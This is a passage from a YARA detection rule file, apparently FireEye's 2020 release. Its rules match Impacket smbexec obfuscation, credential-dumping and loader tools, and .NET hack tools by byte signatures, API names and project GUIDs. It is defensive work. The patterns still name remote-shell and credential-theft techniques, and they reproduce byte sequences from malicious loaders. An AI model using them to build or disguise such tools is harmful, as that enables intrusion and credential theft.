		$cond3 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 C1 7C 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 33 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 B2 FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 75 96 01 00 48 8D 45 AF 48 89 C1 E8 B9 FE 00 00 48 8B 05 66 7C 06 00 FF D0 89 C2 B9 08 00 00 00 E8 3C B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 83 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 2A F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 28 B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 69 7B 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 11 B9 05 00 48 8B 05 A2 7B 06 00 FF D0 48 8D 15 0D B9 05 00 48 89 C1 48 8B 05 97 7B 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 5A 7B 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 22 7B 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 59 FB FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 00 FB FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 94 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 00 FC 00 00 48 89 D8 48 89 C1 E8 45 AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 63 9C 01 00 48 89 D8 48 89 C1 E8 28 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }
		$cond4 = { 55 53 48 89 E5 48 81 EC 28 07 00 00 48 8B 05 D3 8B 06 00 FF D0 48 89 C1 48 8D 85 98 FD FF FF 41 B8 04 01 00 00 48 89 C2 E8 65 B4 00 00 85 C0 0F 94 C0 84 C0 0F 85 16 03 00 00 48 8D 45 AF 48 89 C1 E8 EC FE 00 00 48 8D 4D AF 48 8D 95 98 FD FF FF 48 8D 85 78 FD FF FF 49 89 C8 48 89 C1 E8 AF 96 01 00 48 8D 45 AF 48 89 C1 E8 F3 FE 00 00 48 8B 05 78 8B 06 00 FF D0 89 C2 B9 08 00 00 00 E8 6E B4 00 00 48 89 45 D0 48 83 7D D0 00 75 0A BB 00 00 00 00 E9 6C 02 00 00 48 C7 45 F0 00 00 00 00 C7 45 EC 00 00 00 00 C7 85 38 F9 FF FF 38 04 00 00 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 B5 B3 00 00 89 45 E8 83 7D E8 00 74 57 48 8D 85 38 F9 FF FF 48 8D 50 30 48 8D 85 78 FD FF FF 41 B8 00 00 00 00 48 89 C1 E8 64 F3 00 00 48 83 F8 FF 0F 95 C0 84 C0 74 14 48 8B 85 50 F9 FF FF 48 89 45 F0 8B 85 58 F9 FF FF 89 45 EC 48 8D 95 38 F9 FF FF 48 8B 45 D0 48 89 C1 E8 5A B3 00 00 89 45 E8 EB A3 48 8B 45 D0 48 89 C1 48 8B 05 73 8A 06 00 FF D0 48 83 7D F0 00 74 06 83 7D EC 00 75 0A BB 00 00 00 00 E9 B9 01 00 00 48 8D 0D 45 C8 05 00 48 8B 05 B4 8A 06 00 FF D0 48 8D 15 41 C8 05 00 48 89 C1 48 8B 05 A9 8A 06 00 FF D0 48 89 45 C8 48 89 E8 48 89 45 E0 48 8D 95 28 F9 FF FF 48 8D 85 30 F9 FF FF 48 89 C1 48 8B 05 6C 8A 06 00 FF D0 C7 45 DC 00 00 00 00 48 8B 55 E0 48 8B 85 28 F9 FF FF 48 39 C2 0F 83 0D 01 00 00 48 8B 45 E0 48 8B 00 48 3D FF 0F 00 00 0F 86 EC 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 C8 73 1E 48 8B 45 E0 48 8B 00 48 8B 55 C8 48 81 C2 00 10 00 00 48 39 D0 73 07 C7 45 DC 01 00 00 00 83 7D DC 00 0F 84 BB 00 00 00 48 8B 45 E0 48 8B 00 48 39 45 F0 0F 83 AA 00 00 00 48 8B 45 E0 48 8B 00 8B 4D EC 48 8B 55 F0 48 01 CA 48 39 D0 0F 83 90 00 00 00 48 C7 85 F8 F8 FF FF 00 00 00 00 48 C7 85 00 F9 FF FF 00 00 00 00 48 C7 85 08 F9 FF FF 00 00 00 00 48 C7 85 10 F9 FF FF 00 00 00 00 48 C7 85 18 F9 FF FF 00 00 00 00 48 C7 85 20 F9 FF FF 00 00 00 00 48 8B 45 E0 48 8B 00 48 8D 95 F8 F8 FF FF 41 B8 30 00 00 00 48 89 C1 48 8B 05 54 8A 06 00 FF D0 8B 85 1C F9 FF FF 83 E0 20 85 C0 74 20 48 8B 45 E0 48 8B 00 48 8D 15 33 FA FF FF 48 89 C1 E8 D5 FC FF FF BB 00 00 00 00 EB 57 90 EB 01 90 48 83 45 E0 08 E9 DF FE FF FF 48 8B 45 F0 48 89 45 C0 48 8B 45 C0 8B 40 3C 48 63 D0 48 8B 45 F0 48 01 D0 48 89 45 B8 48 8B 45 B8 8B 40 28 89 C2 48 8B 45 F0 48 01 D0 48 89 45 B0 48 8B 45 B0 48 8D 15 DA F9 FF FF 48 89 C1 E8 7C FC FF FF BB 01 00 00 00 48 8D 85 78 FD FF FF 48 89 C1 E8 CE 9C 01 00 83 FB 01 EB 38 48 89 C3 48 8D 45 AF 48 89 C1 E8 3A FC 00 00 48 89 D8 48 89 C1 E8 4F AA 00 00 48 89 C3 48 8D 85 78 FD FF FF 48 89 C1 E8 9D 9C 01 00 48 89 D8 48 89 C1 E8 32 AA 00 00 90 48 81 C4 28 07 00 00 5B 5D C3 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them
}

rule HackTool_PY_ImpacketObfuscation_1
{
	meta:
		date = "2020-12-01"
		modified = "2020-12-01"
		description = "smbexec"
		md5 = "0b1e512afe24c31531d6db6b47bac8ee"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "992d1132-3136-5e1b-a1ef-dcdf36ebf0f5"

	strings:
		$s1 = "class CMDEXEC" nocase
		$s2 = "class RemoteShell" nocase
		$s3 = "self.services_names"
		$s4 = "import random"
		$s6 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]%CoMSpEC%[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
		$s7 = /self\.__serviceName[\x09\x20]{0,32}=[\x09\x20]{0,32}self\.services_names\[random\.randint\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}len\(self\.services_names\)[\x09\x20]{0,32}-[\x09\x20]{0,32}1\)\]/

	condition:
		all of them
}

rule APT_HackTool_Win64_EXCAVATOR_2
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "4fd62068e591cbd6f413e1c2b8f75442"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4b7640e8-5621-5cc3-8ac9-84347f23f5eb"

	strings:
		$api1 = "PssCaptureSnapshot" fullword
		$api2 = "MiniDumpWriteDump" fullword
		$dump = { C7 [2-5] FD 03 00 AC 4C 8D 4D ?? 41 B8 1F 00 10 00 8B [2-5] 48 8B 4D ?? E8 [4] 89 [2-5] 83 [2-5] 00 74 ?? 48 8B 4D ?? FF 15 [4] 33 C0 E9 [4] 41 B8 10 00 00 00 33 D2 48 8D 8D [4] E8 [4] 48 8D 05 [4] 48 89 85 [4] 48 C7 85 [8] 48 C7 44 24 30 00 00 00 00 C7 44 24 28 80 00 00 00 C7 44 24 20 01 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4] 48 89 85 [4] 48 83 BD [4] FF 75 ?? 48 8B 4D ?? FF 15 [4] 33 C0 EB [0-17] 48 8D [5] 48 89 ?? 24 30 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 41 B9 02 00 00 00 4C 8B 85 [4] 8B [1-5] 48 8B 4D ?? E8 }
		$enable_dbg_pri = { 4C 8D 45 ?? 48 8D 15 [4] 33 C9 FF 15 [4] 85 C0 0F 84 [4] C7 45 ?? 01 00 00 00 B8 0C 00 00 00 48 6B C0 00 48 8B 4D ?? 48 89 4C 05 ?? B8 0C 00 00 00 48 6B C0 00 C7 44 05 ?? 02 00 00 00 FF 15 [4] 4C 8D 45 ?? BA 20 00 00 00 48 8B C8 FF 15 [4] 85 C0 74 ?? 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 45 ?? 33 D2 48 8B 4D ?? FF 15 }

	condition:
		(( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them
}

rule APT_Loader_Raw32_REDFLARE_1
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "4022baddfda3858a57c9cbb0d49f6f86"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "8f8ec27f-afac-5da5-b76f-b984e14e0066"

	strings:
		$load = { EB ?? 58 [0-4] 8B 10 8B 48 [1-3] 8B C8 83 C1 ?? 03 D1 83 E9 [1-3] 83 C1 [1-4] FF D? }

	condition:
		( uint16( 0 ) != 0x5A4D ) and all of them
}

rule APT_Loader_Win64_PGF_2
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		description = "base dlls: /lib/payload/techniques/dllmain/"
		md5 = "4326a7e863928ffbb5f6bdf63bb9126e"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "5253cb2a-28fd-57ab-be3d-f11cf2ea24cf"

	strings:
		$sb1 = { B9 [4] FF 15 [4-32] 8B ?? 1C [0-16] 0F B? ?? 04 [0-64] F3 0F 6F 00 [0-64] 66 0F EF C8 [0-64] F3 0F 7F 08 [0-64] 30 ?? 48 8D 40 01 48 83 ?? 01 7? }
		$sb2 = { 44 8B ?? 08 [0-32] 41 B8 00 30 00 00 [0-16] FF 15 [4-32] 48 8B C8 [0-16] E8 [4-64] 4D 8D 49 01 [0-32] C1 ?? 04 [0-64] 0F B? [2-16] 41 30 ?? FF 45 3? ?? 7? }
		$sb3 = { 63 ?? 3C [0-16] 03 [1-32] 0F B? ?? 14 [0-16] 8D ?? 18 [0-16] 03 [1-16] 66 ?? 3B ?? 06 7? [1-64] 48 8D 15 [4-32] FF 15 [4-16] 85 C0 [2-32] 41 0F B? ?? 06 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_HackTool_MSIL_SHARPTEMPLATE_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "0ca9a13c-e0a0-588b-be13-5954b17d95b1"

	strings:
		$typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_HackTool_MSIL_MODIFIEDSHARPVIEW_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'modifiedsharpview' project."
		md5 = "db0eaad52465d5a2b86fdd6a6aa869a5"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e07d3d4b-fba3-5df7-85f4-927bb8cec2d1"

	strings:
		$typelibguid0 = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Loader_Win32_PGF_5
{
	meta:
		description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8"
		md5 = "8c91a27bbdbe9fb0877daccd28bd7bb5"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "376875f3-00f2-58d0-ae22-7f52ea566da2"

	strings:
		$cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
		$cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 }
		$cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }
		$cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them
}

rule APT_HackTool_MSIL_LUALOADER_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'lualoader' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e8480cf8-1852-5572-8e92-c0ae676b7507"

	strings:
		$typelibguid0 = "8b546b49-2b2c-4577-a323-76dc713fe2ea" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_PXELOOT_2
{
	meta:
		description = "This rule looks for .NET PE files that have the strings of various method names in the PXE And Loot code."
		md5 = "d93100fe60c342e9e3b13150fd91c7d8"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		date = "2020-12-08"
		modified = "2023-01-27"
		id = "ff46a0e9-f7d2-57f2-9727-26b69ea5ba71"

	strings:
		$msil = "_CorExeMain" ascii wide
		$str2 = "InvestigateRPC" ascii nocase wide
		$str3 = "DhcpRecon" ascii nocase wide
		$str4 = "UnMountWim" ascii nocase wide
		$str5 = "remote WIM image" ascii nocase wide
		$str6 = "DISMWrapper" ascii nocase wide
		$str7 = "findTFTPServer" ascii nocase wide
		$str8 = "DHCPRequestRecon" ascii nocase wide
		$str9 = "DHCPDiscoverRecon" ascii nocase wide
		$str10 = "GoodieFile" ascii nocase wide
		$str11 = "InfoStore" ascii nocase wide
		$str12 = "execute" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $msil and all of ( $str* )
}

rule APT_HackTool_MSIL_PRAT_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'prat' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4a876eb0-ed2f-5ef2-a9b3-ba728b07c8c0"

	strings:
		$typelibguid0 = "7d1219fb-a954-49a7-96c9-df9e6429a8c7" ascii nocase wide
		$typelibguid1 = "bc1157c2-aa6d-46f8-8d73-068fc08a6706" ascii nocase wide
		$typelibguid2 = "c602fae2-b831-41e2-b5f8-d4df6e3255df" ascii nocase wide
		$typelibguid3 = "dfaa0b7d-6184-4a9a-9eeb-c08622d15801" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_HackTool_MSIL_SHARPNATIVEZIPPER_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "c48835a7-06fe-5b30-be4d-086d98dc7a21"

	strings:
		$typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Loader_Win32_REDFLARE_1
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "01d68343ac46db6065f888a094edfe4f"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "b8a2c388-3b27-5075-b0ee-2773ae0c67ad"

	strings:
		$alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 }
		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule APT_Loader_MSIL_PGF_1
{
	meta:
		date = "2020-11-24"
		modified = "2020-11-24"
		description = "base.cs"
		md5 = "a495c6d11ff3f525915345fb762f8047"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "39d9821f-86e8-528a-a0a9-287dbe325484"

	strings:
		$sb1 = { 72 [4] 6F [2] 00 0A 26 [0-16] 0? 6F [2] 00 0A [1-3] 0? 28 [2] 00 0A [0-1] 0? 72 [4-5] 0? 28 [2] 00 0A [0-1] 0? 6F [2] 00 0A 13 ?? 1? 13 ?? 38 [8-16] 91 [3-6] 8E 6? 5D 91 61 D2 9C 11 ?? 1? 58 13 [3-5] 8E 6? 3F }

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule CredTheft_Win_EXCAVATOR_2
{
	meta:
